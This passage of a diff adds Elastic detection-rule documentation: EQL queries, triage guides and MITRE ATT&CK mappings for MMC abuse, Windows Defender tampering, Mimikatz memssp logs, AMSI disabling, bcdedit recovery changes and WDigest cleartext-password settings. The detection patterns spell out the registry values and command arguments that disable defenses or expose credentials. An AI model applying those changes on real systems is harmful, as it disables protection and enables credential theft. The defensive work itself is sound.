"/config", "*connectionstring*") or + process.args == "/text:*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-management-console-file-from-unusual-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-management-console-file-from-unusual-path.asciidoc new file mode 100644 index 0000000000..11e99b4b87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-management-console-file-from-unusual-path.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-microsoft-management-console-file-from-unusual-path]] +=== Microsoft Management Console File from Unusual Path + +Identifies attempts to open a Microsoft Management Console File from untrusted paths. Adversaries may use MSC files for initial access and execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/grimresource + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Management Console File from Unusual Path* + + +Microsoft Management Console (MMC) is a Windows utility that provides a framework for system management. Adversaries may exploit MMC by executing .msc files from non-standard directories to bypass security controls. The detection rule identifies such anomalies by monitoring the execution of mmc.exe with .msc files from untrusted paths, flagging potential unauthorized access or execution attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the path of the mmc.exe and the .msc file being executed. Check if the path is indeed non-standard or untrusted as per the query criteria. +- Investigate the origin of the .msc file by examining file creation and modification timestamps, and check for any recent changes or unusual activity in the directory where the file resides. +- Analyze the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check for any related alerts or logs around the same timeframe that might indicate lateral movement or other malicious activities, such as unusual network connections or file access patterns. +- Correlate the event with other data sources mentioned in the rule, such as Microsoft Defender XDR or Crowdstrike, to gather additional context or corroborating evidence of potential malicious activity. +- Assess the risk and impact of the execution by determining if the .msc file has any known malicious signatures or if it attempts to perform unauthorized actions on the system. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger this rule if system administrators execute .msc files from custom directories. To manage this, create exceptions for known administrative scripts or tools that are regularly used from non-standard paths. +- Software installations or updates might involve executing .msc files from temporary or installation directories. Monitor these activities and whitelist specific installation paths if they are verified as safe and part of routine operations. +- Automated scripts or third-party management tools could execute .msc files from non-standard locations as part of their normal operation. Identify these tools and add their execution paths to the exception list to prevent unnecessary alerts. +- Development or testing environments may involve running .msc files from various directories for testing purposes. Establish a separate monitoring policy for these environments or exclude known development paths to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes related to mmc.exe executing from untrusted paths to halt potential malicious activity. +- Conduct a thorough review of the system's recent activity logs to identify any additional indicators of compromise or related suspicious activities. +- Remove any unauthorized .msc files found in non-standard directories and ensure they are not reintroduced. +- Restore the system from a known good backup if any unauthorized changes or damage is detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\mmc.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\mmc.exe" + ) and + process.args : "*.msc" and + not process.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc", + "?:\\Windows\\ADFS\\Microsoft.IdentityServer.msc" + ) and + not process.command_line : ( + "C:\\Windows\\system32\\mmc.exe eventvwr.msc /s", + "mmc.exe eventvwr.msc /s", + "\"C:\\Windows\\System32\\mmc.exe\" CompMgmt.msc*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-windows-defender-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-windows-defender-tampering.asciidoc new file mode 100644 index 0000000000..88a8400a3c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-windows-defender-tampering.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-21-microsoft-windows-defender-tampering]] +=== Microsoft Windows Defender Tampering + +Identifies when one or more features on Microsoft Defender are disabled. Adversaries may disable or tamper with Microsoft Defender features to evade detection and conceal malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/ +* https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html +* https://www.tenforums.com/tutorials/104025-turn-off-core-isolation-memory-integrity-windows-10-a.html +* https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html +* https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/51514-turn-off-microsoft-defender-periodic-scanning-windows-10-a.html +* https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/99576-how-schedule-scan-microsoft-defender-antivirus-windows-10-a.html +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Windows Defender Tampering* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for modifications that disable Windows Defender features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine which features have been disabled, and check if this operation is done under change management and approved according to the organization's policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + ( + ( + registry.value : ( + "PUAProtection", "DisallowExploitProtectionOverride", "TamperProtection", "EnableControlledFolderAccess", + "SpynetReporting", "SubmitSamplesConsent" + ) and registry.data.strings : ("0", "0x00000000") + ) or + ( + registry.value : ( + "DisableAntiSpyware", "DisableRealtimeMonitoring", "DisableIntrusionPreventionSystem", "DisableScriptScanning", + "DisableIOAVProtection", "DisableEnhancedNotifications", "DisableBlockAtFirstSeen", "DisableBehaviorMonitoring" + ) and registry.data.strings : ("1", "0x00000001") + ) + ) and + not process.executable : ( + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe" + ) + +/* + Full registry key paths omitted due to data source variations: + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIntrusionPreventionSystem" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScriptScanning" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting\\DisableEnhancedNotifications" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\DisableBlockAtFirstSeen" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\PUAProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\\DisallowExploitProtectionOverride" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features\\TamperProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access\\EnableControlledFolderAccess" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SpynetReporting" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SubmitSamplesConsent" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mimikatz-memssp-log-file-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mimikatz-memssp-log-file-detected.asciidoc new file mode 100644 index 0000000000..824088eb8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mimikatz-memssp-log-file-detected.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-mimikatz-memssp-log-file-detected]] +=== Mimikatz Memssp Log File Detected + +Identifies the password log file from the default Mimikatz memssp module. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Mimikatz Memssp Log File Detected* + + +https://github.com/gentilkiwi/mimikatz[Mimikatz] is an open-source tool used to collect, decrypt, and/or use cached credentials. This tool is commonly abused by adversaries during the post-compromise stage where adversaries have gained an initial foothold on an endpoint and are looking to elevate privileges and seek out additional authentication objects such as tokens/hashes/credentials that can then be used to laterally move and pivot across a network. + +This rule looks for the creation of a file named `mimilsa.log`, which is generated when using the Mimikatz misc::memssp module, which injects a malicious Windows SSP to collect locally authenticated credentials, which includes the computer account password, running service credentials, and any accounts that logon. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. +- Retrieve and inspect the log file contents. +- Search for DLL files created in the same location as the log file, and retrieve unsigned DLLs. + - Use the PowerShell Get-FileHash cmdlet to get the SHA-256 hash value of these files. + - Search for the existence of these files in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + - Identify the process that created the DLL using file creation events. + + +*False positive analysis* + + +- This file name `mimilsa.log` should not legitimately be created. + + +*Related rules* + + +- Mimikatz Powershell Module Activity - ac96ceb8-4399-4191-af1d-4feeac1f1f46 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the host is a Domain Controller (DC): + - Activate your incident response plan for total Active Directory compromise. + - Review the privileges assigned to users that can access the DCs to ensure that the least privilege principle is being followed and reduce the attack surface. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reboot the host to remove the injected SSP from memory. +- Reimage the host operating system or restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.name : "mimilsa.log" and process.name : "lsass.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-amsienable-registry-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-amsienable-registry-key.asciidoc new file mode 100644 index 0000000000..eefe251905 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-amsienable-registry-key.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-modification-of-amsienable-registry-key]] +=== Modification of AmsiEnable Registry Key + +Identifies modifications of the AmsiEnable registry key to 0, which disables the Antimalware Scan Interface (AMSI). An adversary can modify this key to disable AMSI protections. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackinparis.com/data/slides/2019/talks/HIP2019-Dominic_Chell-Cracking_The_Perimeter_With_Sharpshooter.pdf +* https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of AmsiEnable Registry Key* + + +The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product on a machine. AMSI integrates with multiple Windows components, ranging from User Account Control (UAC) to VBA macros and PowerShell. + +Since AMSI is widely used across security products for increased visibility, attackers can disable it to evade detections that rely on it. + +This rule monitors the modifications to the Software\Microsoft\Windows Script\Settings\AmsiEnable registry key. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the execution of scripts and macros after the registry modification. +- Retrieve scripts or Microsoft Office files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences on other hosts. + + +*False positive analysis* + + +- This modification should not happen legitimately. Any potential benign true positive (B-TP) should be mapped and monitored by the security team as these modifications expose the host to malware infections. + + +*Related rules* + + +- Microsoft Windows Defender Tampering - fe794edd-487f-4a90-b285-3ee54f2af2d3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Delete or set the key to its default value. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "AmsiEnable" and registry.data.strings: ("0", "0x00000000") + + /* + Full registry key path omitted due to data source variations: + HKEY_USERS\\*\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-boot-configuration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-boot-configuration.asciidoc new file mode 100644 index 0000000000..cfae849920 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-boot-configuration.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-modification-of-boot-configuration]] +=== Modification of Boot Configuration + +Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of Boot Configuration* + + +Boot entry parameters, or boot parameters, are optional, system-specific settings that represent configuration options. These are stored in a boot configuration data (BCD) store, and administrators can use utilities like `bcdedit.exe` to configure these. + +This rule identifies the usage of `bcdedit.exe` to: + +- Disable Windows Error Recovery (recoveryenabled). +- Ignore errors if there is a failed boot, failed shutdown, or failed checkpoint (bootstatuspolicy ignoreallfailures). + +These are common steps in destructive attacks by adversaries leveraging ransomware. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- The usage of these options is not inherently malicious. Administrators can modify these configurations to force a machine to boot for troubleshooting or data recovery purposes. + + +*Related rules* + + +- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and + ( + (process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or + (process.args : "no" and process.args : "recoveryenabled") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-wdigest-security-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-wdigest-security-provider.asciidoc new file mode 100644 index 0000000000..8170d52017 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-of-wdigest-security-provider.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-modification-of-wdigest-security-provider]] +=== Modification of WDigest Security Provider + +Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in clear text in memory. This behavior can be indicative of an adversary attempting to weaken the security configuration of an endpoint. Once the UseLogonCredential value is modified, the adversary may attempt to dump clear text passwords from memory. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.csoonline.com/article/3438824/how-to-detect-and-halt-credential-theft-via-windows-wdigest.html +* https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft?edition=2019 +* https://frsecure.com/compromised-credentials-response-playbook +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of WDigest Security Provider* + + +In Windows XP, Microsoft added support for a protocol known as WDigest. The WDigest protocol allows clients to send cleartext credentials to Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) applications based on RFC 2617 and 2831. Windows versions up 